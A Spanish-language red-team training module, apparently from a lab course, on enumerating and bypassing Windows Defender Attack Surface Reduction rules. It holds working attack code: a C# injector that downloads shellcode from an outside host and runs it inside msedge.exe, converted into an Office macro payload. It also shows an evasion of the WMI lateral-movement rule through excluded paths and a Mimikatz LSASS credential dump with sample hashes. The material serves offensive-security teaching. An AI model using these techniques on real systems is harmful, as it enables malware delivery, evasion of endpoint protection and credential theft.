Attack Surface Reduction
Attack Surface Reduction
(ASR) es un conjunto de configuraciones de hardening que buscan mitigar técnicas de ataque comunes utilizadas por actores maliciosos. ASR se hace cumplir mediante varios componentes de Windows Defender, como el driver WdFilter. Por lo tanto, ASR no está disponible si hay instalada otra solución de AV distinta a Defender y registrada como principal proveedor de AV en una computadora.
Oficialmente, ASR también requiere que MAPS esté habilitado. Sin embargo, como esto no está disponible en el entorno de laboratorio, en ocasiones puede conducir a comportamientos impredecibles donde acciones no se bloquean cuando tal vez deberían hacerlo.
Las reglas de ASR pueden habilitarse mediante GPO, Intune, MDM o incluso PowerShell. Se puede encontrar un desglose completo de las reglas de ASR disponibles aquí. Este módulo se enfocará en reglas relativas a:
- Microsoft Office y vectores de acceso inicial mediante macros
- Endurecimiento de credenciales
- Lateral movement con PsExec y WMI
La máquina en el laboratorio que tiene ASR habilitado es Workstation 1.
Enumerating Enabled Rules
Desde la perspectiva de initial access, es poco probable que puedas descubrir cuáles (si existen) reglas de ASR están habilitadas. Sin embargo, puedes leer la configuración de ASR aplicada directamente desde el registro local o usando el cmdlet Get-MpPreference si ya tienes acceso a la máquina.
La ubicación en el registro es HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR. Esta clave tiene un valor de registro llamado ExploitGuard_ASR_Rules que puede establecerse en 0 (deshabilitado) o 1 (habilitado). Las reglas en sí están en otra subcarpeta llamada Rules.
Cada regla se referencia mediante un GUID que puedes buscar en la página de referencia de reglas ASR mencionada. Por ejemplo, 75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 es el GUID para "Block Office applications from injecting code into other processes". Cada regla puede configurarse en 0 (deshabilitado), 1 (block) o 2 (audit).
Los eventos de ASR se registran en el log Microsoft-Windows-Windows Defender/Operational — event ID 1121 para eventos bloqueados y 1122 para eventos auditados.
El cmdlet Get-MpPreference devolverá la misma información:
PS C:\Users\mdavis> (Get-MpPreference).AttackSurfaceReductionRules_Ids
75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84
92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b
9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2
d1e49aac-8f56-4280-b9ba-993a6d77406c
d4f940ab-401b-4efc-aadc-ad5f3c50688a
e6db77e5-3df2-4cf1-b95a-636979351e5b
PS C:\Users\mdavis> (Get-MpPreference).AttackSurfaceReductionRules_Actions
1
1
1
1
1
1
No necesitas privilegios de administrador local para leer esta información, pero sí para leer cualquier exclusión personalizada (por ejemplo, AttackSurfaceReductionRules_RuleSpecificExclusions).
Las reglas también pueden leerse de forma remota desde el archivo Registry.pol que se encuentra en el gPCFileSysPath de la GPO. En este caso, la ruta es \\acme.corp\SYSVOL\acme.corp\Policies\{2CA2E24F-214A-43A1-A8EE-274F708807FD}\Machine\Registry.pol. La forma "correcta" de leer estos valores es con el cmdlet Parse-PolFile del GPRegistryPolicyParser module, aunque como no suele venir instalado por defecto, normalmente basta con leerlo como texto.
PS C:\Users\mdavis> gc "\\acme.corp\SYSVOL\acme.corp\Policies\{2CA2E24F-214A-43A1-A8EE-274F708807FD}\Machine\Registry.pol"
MS Office Rules
Las tres reglas principales de ASR que impactan tu habilidad para usar documentos de Office como mecanismo de entrega de payload son:
- Block all Office applications from creating child processes
- Block Win32 API calls from Office macros
- Block Office applications from injecting code into other processes
Estas impiden que se ejecuten payloads sencillos con un liner como PowerShell y que se inyecte shellcode en otros procesos. Antes de ver bypasses, revisemos cómo se manifiestan estas restricciones.
Como parte del módulo de initial compromise en Red Team Ops, lxs estudiantes crearon documentos con macro que ejecutaban un Beacon payload vía PowerShell. El VBA lucía más o menos así:
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "powershell.exe -nop -w hidden ..."
End Sub
No obstante, si intentamos algo parecido en Workstation 1, quedará bloqueado. Esta es la regla "block all Office applications from creating child processes".
Info
Si no puedes crear Macros debido a la licencia de Office, sigue las instrucciones aquí.
Las Win32 APIs se pueden invocar en un macro usando P/Invoke. Aquí tenemos un ejemplo para llamar a MessageBoxA:
Private Declare PtrSafe Function MessageBoxA Lib "user32.dll" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal uType As Long) As Long
Sub Exec()
Dim Result As Long
Result = MessageBoxA(0, "This is a test", "Hello World", 0)
End Sub
Si tratamos de ejecutarlo, veremos que en realidad sí funciona.
La regla "block Win32 API calls from Office macros" solo entra en acción cuando intentamos guardar el documento a disco.
Finalmente, la regla "block Office applications from injecting code into other processes" funciona restringiendo los privilegios otorgados al obtener un handle a un proceso de destino. La siguiente captura muestra una llamada a OpenProcess, mientras la regla está deshabilitada, solicitando PROCESS_VM_OPERATION, PROCESS_VM_READ y PROCESS_VM_WRITE. Mi herramienta "HandleEnum" verifica que el handle 5696 sí tiene esos privilegios (además de PROCESS_QUERY_LIMITED_INFORMATION).
Al re-habilitar la regla y repetir el experimento, vemos que PROCESS_VM_WRITE y PROCESS_VM_OPERATION no están presentes en el handle retornado por la API. Esto nos impediría usar dicho handle para pasos como asignar y escribir en la memoria del proceso.
Además, si logramos crear un proceso, el handle retornado sí tiene privilegios PROCESS_ALL_ACCESS, en lugar de estar filtrado. Esto se demuestra en la siguiente captura:
Podemos observar que el handle que devuelve CreateProcessA tiene PROCESS_ALL_ACCESS, pero el handle que devuelve OpenProcess (para el mismo process ID) aparece filtrado.
Reversing ASR Exclusions
Muchas de las reglas de ASR pueden tener exclusiones personalizadas definidas como parte de su despliegue (por ej., en la GPO). Microsoft también ha implementado exclusiones predeterminadas para varias reglas de ASR, de modo que no se rompa la funcionalidad esperada. Dichas exclusiones se distribuyen en forma de actualizaciones de firma de Defender AV, las cuales podemos leer desde disco. Esto nos permite encontrar fácilmente exclusiones que podemos aprovechar para evadir diversas reglas de ASR.
Esta investigación fue publicada originalmente por commial alrededor de 2020-2021. Descubrieron que parte de la lógica ASR está gobernada por LUA, y dieron con un proceso de varios pasos para extraer, parsear y decompilar de nuevo al formato legible para humanos desde los archivos VDM (Virus Definition Module) de Defender.
Justin Elze y yo refinamos esto a un único script de Python para simplificar el proceso. Se encuentra en WSL en tu Attacker Desktop, llamado wd-extract.py.
attacker@DESKTOP-3BSK7NO ~> file wd-extract.py
wd-extract.py: Python script, ASCII text executable
Info
Este proceso puede demorar bastante, así que si no deseas hacerlo manualmente, ya he pre-extraído los scripts en /home/attacker/wd-extracted.
El primer paso es tomar una copia del archivo VDM actual, ubicado en C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\mpasbase.vdm.
attacker@DESKTOP-3BSK7NO ~> cp /mnt/c/ProgramData/Microsoft/Windows\ Defender/Definition\ Updates/Backup/mpasbase.vdm .
attacker@DESKTOP-3BSK7NO ~> file mpasbase.vdm
mpasbase.vdm: PE32+ executable (DLL) (console) x86-64, for MS Windows
Ahora simplemente ejecuta wd-extract.py indicando el archivo de entrada, la opción --decompile y una carpeta de salida.
attacker@DESKTOP-3BSK7NO ~> python3 wd-extract.py mpasbase.vdm --decompile wd-extracted
Esto en mi caso tomó unos 20 minutos, así que aprovecha para tomar un café. Cuando el script termine, tendrás miles de archivos .luac y .lua.
attacker@DESKTOP-3BSK7NO ~> ls -1 wd-extracted/ | wc -l
61468
attacker@DESKTOP-3BSK7NO ~> ls -U wd-extracted/ | head -5
1.lua
1.luac
10.lua
10.luac
100.lua
Los archivos .luac son la versión compilada original extraída del VDM, y los .lua son los decompilados que podemos leer. Ahora podemos usar grep para encontrar el archivo específico de una regla ASR. Por ejemplo, en mi caso, la regla "Block all Office applications from creating child processes" se encuentra en 4248.lua.
attacker@DESKTOP-3BSK7NO ~/wd-extracted> grep "Block all Office applications from creating child processes" *.lua
4248.lua: l_1_0.Name = "Block all Office applications from creating child processes"
GetMonitoredLocations define todos los procesos "source" a los que se aplicará esta regla. Puesto que la regla es "all Office applications", aquí encontraremos todas las rutas de aplicaciones Office. Si bajamos un poco, veremos la parte interesante — GetPathExclusions. Estas son las rutas de aplicación excluidas de la regla ASR, o dicho de otra forma, todas las aplicaciones que Office puede engendrar como child processes.
Al momento de escribir esto, hay más de 500 rutas excluidas, algunas también en ubicaciones de riesgo como %AppData%.
GadgetToJScript
Hasta ahora, hemos visto cómo enumerar las reglas de ASR aplicadas a una máquina y cómo revertir los scripts LUA de ASR para encontrar exclusiones predeterminadas que podemos explotar. El siguiente paso real es contar con un método para ejecutar código arbitrario y/o Win32 APIs sin depender de P/Invoke en un macro.
GadgetToJScript es una posible herramienta que podemos usar. Puede generar gadgets serializados desde código .NET (C#) y usa un binary formatter inseguro para detonar la ejecución arbitraria de código. Dichos gadgets pueden obtenerse en formato VBA, así como VBS y JS, lo que permite usarlos en macros de Office y otros archivos como HTA.
La solución G2JS (en C:\Tools\GadgetToJScript) consta de dos proyectos:
El proyecto TestAssembly es un DLL que contendrá el código "malicioso" que queremos ejecutar dentro del macro, y el proyecto principal GadgetToJScript es un EXE que hará la transformación del DLL en el payload serializado.
Empecemos escribiendo un shellcode injector en el proyecto TestAssembly.
Cuando el assembly atraviese el formatter, esencialmente llamará new Program(). Por lo tanto, nuestro código debe iniciar dentro del constructor de la clase para que se ejecute. Sin embargo, puedes agregar otras clases y métodos para separar tu lógica. Nada de esto será muy sorprendente, pero veamos:
Primero, descargamos el shellcode. La configuración predeterminada SecurityProtocol es SystemDefault, que deja que el sistema operativo escoja el mejor protocolo y bloquee los que no considera seguros. Por alguna razón, estas descargas parecen fallar en G2JS a menos que especifiquemos los tipos. TLS 1.2 y 1.3 suelen ser buenas opciones, aunque esto bloquearía TLS 1.1 y anteriores.
byte[] shellcode;
using (var client = new WebClient())
{
// make proxy aware
client.Proxy = WebRequest.GetSystemWebProxy();
client.UseDefaultCredentials = true;
// set allowed tls versions
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls13;
shellcode = client.DownloadData("https://www.infinity-bank.com/shellcode.bin");
};
Luego iniciamos el proceso destino. MS Edge está excluido en la regla "Block all Office applications from creating child processes" y además es una buena opción para conexiones HTTPS de salida. Podemos adornar los argumentos de línea para que parezca más legítimo:
var startup = new STARTUPINFO { dwFlags = 0x00000001 };
startup.cb = Marshal.SizeOf(startup);
var success = CreateProcessW(
@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
@"""C:\Program Files\(x86)\Microsoft\Edge\Application\msedge.exe --no-startup-window --win-session-start /prefetch:5""",
IntPtr.Zero,
IntPtr.Zero,
false,
CREATION_FLAGS.CREATE_NO_WINDOW | CREATION_FLAGS.CREATE_SUSPENDED,
IntPtr.Zero,
@"C:\Program Files (x86)\Microsoft\Edge\Application",
ref startup,
out var processInfo);
Asignamos algo de memoria RW.
var baseAddress = VirtualAllocEx(
processInfo.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
ALLOCATION_TYPE.MEM_COMMIT | ALLOCATION_TYPE.MEM_RESERVE,
PROTECTION_FLAGS.PAGE_READWRITE);
Copiamos el Beacon shellcode:
success = WriteProcessMemory(
processInfo.hProcess,
baseAddress,
shellcode,
(uint)shellcode.Length,
out _);
Cambiamos la protección de memoria de RW a RX:
success = VirtualProtectEx(
processInfo.hProcess,
baseAddress,
(uint)shellcode.Length,
PROTECTION_FLAGS.PAGE_EXECUTE_READ,
out _);
Colocamos el APC en el hilo principal, lo reanudamos y cerramos los handles:
_ = Win32.QueueUserAPC(
baseAddress,
processInfo.hThread,
IntPtr.Zero);
Win32.ResumeThread(processInfo.hThread);
Win32.CloseHandle(processInfo.hThread);
Win32.CloseHandle(processInfo.hProcess);
Compila la solución en modo Release y luego usa GadgetToJScript.exe para generar un payload VBA desde TestAssembly.dll.
PS C:\Tools\GadgetToJScript> .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w vba -b -e hex -o C:\Payloads\inject -a .\TestAssembly\bin\Release\TestAssembly.dll
[+]: Generating the vba payload
[+]: First stage gadget generation done.
[+]: Loading your .NET assembly:.\TestAssembly\bin\Release\TestAssembly.dll
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: C:\Payloads\inject.vba
Copia el contenido de C:\Payloads\inject.vba en un macro nuevo y ejecútalo. Debería aparecer un Beacon corriendo dentro de msedge.exe.
Process Creations from PSExec & WMI
Esta regla funciona igual que "block Office applications from creating child processes". En la extracción que realicé, el script LUA se encuentra en 4138.lua. Las dos aplicaciones monitoreadas son WmiPrvSE.exe y PSEXESVC.exe.
PsExec ni siquiera merece mucha discusión, pues PSEXESVC.exe es parte de Sysinternals. Nada de esta regla te impide crear o modificar un servicio para ejecutar tu propio servicio binario. Los comandos jump psexec y elevate svc-exe en Beacon no quedan bloqueados por esta regla.
Si intentas moverte lateralmente a una máquina usando WMI, puedes emplear remote-exec en Beacon o una herramienta externa como SharpWMI para ejecutar un comando de forma remota. Sin embargo, serán bloqueados al pasar siempre por WmiPrvSE (WMI Provider Host). Por ejemplo, ejecuta un Beacon en WKSTN-2 e intenta usar WMI para ejecutar un comando remoto en WKSTN-1.
beacon> execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=WKSTN-1 command=C:\Windows\notepad.exe
[*] Host : WKSTN-1
[*] Command : C:\Windows\notepad.exe
[*] Creation of process returned : 2
[*] Process ID :
Defender en WKSTN-1 bloqueará el intento y mostrará una alerta.
La forma más sencilla (y hasta graciosa) de evadir esta regla es mediante las command line exclusions.
Las primeras cuatro entradas tienen wildcards al inicio y al final. Por ejemplo, podemos hacer que :\Windows\ccmcache\ aparezca en algún lugar del comando y se ejecutará sin bloqueo.
beacon> execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=WKSTN-1 command="C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe"
[*] Host : WKSTN-1
[*] Command : C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe
[*] Creation of process returned : 0
[*] Process ID : 8892
Se pueden pasar argumentos arbitrarios de línea a un Beacon payload para no tener que usar cmd.exe.
beacon> cd \\wkstn-1\admin$
beacon> upload C:\Payloads\smb_x64.exe
beacon> execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=WKSTN-1 command="C:\Windows\smb_x64.exe --path C:\Windows\ccmcache\cache"
[*] Host : WKSTN-1
[*] Command : C:\Windows\smb_x64.exe --path C:\Windows\ccmcache\cache
[*] Creation of process returned : 0
[*] Process ID : 264
beacon> link wkstn-1.acme.corp TSVCPIPE-8401022c-70ed-48b4-8231-7461af611337
[+] established link to child beacon: 10.10.120.101
Credential Stealing from LSASS
La regla "block credential stealing from LSASS" funciona igual que "block Office applications from injecting code into other processes", pero el único proceso monitoreado es lsass.exe.
Hace esto filtrando el handle que devuelve OpenProcess para quitarle acceso de lectura a la memoria del proceso, de modo que su contenido no pueda extraerse.
beacon> mimikatz !sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations
Como en las reglas anteriores, se puede evadir asegurando que Mimikatz (o tu herramienta) corra desde una ruta excluida.
Se puede hacer cambiando el spawnto:
beacon> spawnto x64 c:\windows\system32\mrt.exe
beacon> mimikatz !sekurlsa::logonpasswords
Authentication Id : 0 ; 3142366 (00000000:002ff2de)
Session : RemoteInteractive from 2
User Name : mdavis
Domain : ACME
Logon Server : DC
Logon Time : 5/4/2023 1:39:29 PM
SID : S-1-5-21-2006696020-36449419-3390662055-1104
msv :
[00000003] Primary
* Username : mdavis
* Domain : ACME
* NTLM : d3846d55c40225a04a2f2f4f468b81aa
* SHA1 : 0a8dbba0b78486f3bde262275e07b2494cca70e7
* DPAPI : 8d6371c93ccb05ab43c78a917b5fcbc4
O inyectándolo en un proceso existente que esté excluido:
beacon> ps
3088 644 OfficeClickToRun.exe x64 0 NT AUTHORITY\SYSTEM
beacon> mimikatz 3088 x64 sekurlsa::logonpasswords
Authentication Id : 0 ; 3142366 (00000000:002ff2de)
Session : RemoteInteractive from 2
User Name : mdavis
Domain : ACME
Logon Server : DC
Logon Time : 5/4/2023 1:39:29 PM
SID : S-1-5-21-2006696020-36449419-3390662055-1104
msv :
[00000003] Primary
* Username : mdavis
* Domain : ACME
* NTLM : d3846d55c40225a04a2f2f4f468b81aa
* SHA1 : 0a8dbba0b78486f3bde262275e07b2494cca70e7
* DPAPI : 8d6371c93ccb05ab43c78a917b5fcbc4
















